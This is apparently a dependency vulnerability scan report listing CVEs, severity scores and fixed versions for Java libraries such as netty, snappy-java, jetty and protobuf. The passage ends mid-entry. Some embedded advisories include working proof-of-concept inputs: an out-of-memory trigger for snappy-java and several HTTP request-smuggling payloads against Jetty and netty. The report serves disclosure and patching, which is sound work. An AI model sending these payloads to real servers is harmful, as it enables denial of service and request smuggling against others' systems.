- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) - -pkg:maven/commons-io/commons-io@2.11.0
-high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Uncontrolled Resource Consumption vulnerability in Apache Commons IO. - -The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. - - -This issue affects Apache Commons IO: from 2.0 before 2.14.0. - -Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.94.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - -import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-classic@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) - -pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
-high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
- -
Description -
- -A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
